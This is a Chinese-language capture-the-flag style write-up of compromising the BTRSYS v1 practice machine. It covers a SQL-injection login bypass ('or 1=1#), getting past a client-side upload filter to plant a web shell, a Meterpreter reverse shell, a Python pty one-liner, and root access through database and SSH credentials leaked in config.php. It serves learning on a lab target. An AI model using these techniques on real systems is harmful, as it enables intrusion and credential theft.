This is a boot2root machine particularly educational for beginners.
靶机下载地址:戳我
0x00 前期工作
使用kali探测存活主机,得到BTRSYS: V1靶机的ip为192.168.58.143
探测端口的开放情况:
0x01 信息收集
- 80端口
使用nikto扫描器扫描到敏感路径(login.php):
login.php中的源代码存在敏感信息,如下所示:
function control(){ var user = document.getElementById("user").value; var pwd = document.getElementById("pwd").value; var str=user.substring(user.lastIndexOf("@")+1,user.length); if((pwd == "'")){ alert("Hack Denemesi !!!"); } else if (str!="btrisk.com"){ alert("Yanlis Kullanici Bilgisi Denemektesiniz"); } else{ document.loginform.submit(); } }
根据代码来看,用户名需要满足xxx@btrisk.com。使用万能密码可以绕过:
'or 1=1#@btrisk.com
后台页面存在文件上传。
- 22端口
尝试hydra爆破失败Q Q
0x02 获取权限
因为后台存在文件上传,且源代码里可以看到对上传文件的过滤,所以可以判断此靶机是前端验证:
function getFile(){ var filename = document.getElementById("dosya").value; var sonuc = ((/[.]/.exec(filename)) ? /[^.]+$/.exec(filename) : undefined); if((sonuc == "jpg") || (sonuc == "gif") || (sonuc == "png")){ document.myform.submit(); }else{ //mesaj alert("Yanlizca JPG,PNG dosyalari yukleyebilirsiniz."); return false; } }
上传冰蝎?,上传成功,网站默认把上传的文件放在了uploads文件夹里:
连接成功:
使用Meterpreter反弹shell:
方法一
使用Python搞一个伪终端:
python -c "import pty;pty.spawn('/bin/bash')"
查看到网站根目录下有config.php:
<?php ///////////////////////////////////////////////////////////////////////////////////////// $con=mysqli_connect("localhost","root","toor","deneme"); if (mysqli_connect_errno()) { echo "Mysql Bağlantı hatası!: " . mysqli_connect_error(); } ///////////////////////////////////////////////////////////////////////////////////////// ?>
成功进入mysql:
show databases; use deneme; show tables; select * from user;
得到用户名和密码:
ssh连接,用户名root
密码asd123***
成功连接^ ^
方法二
查看systeminfo信息:
搜索该系统是否存在漏洞:
上传到靶机:
编译,提权成功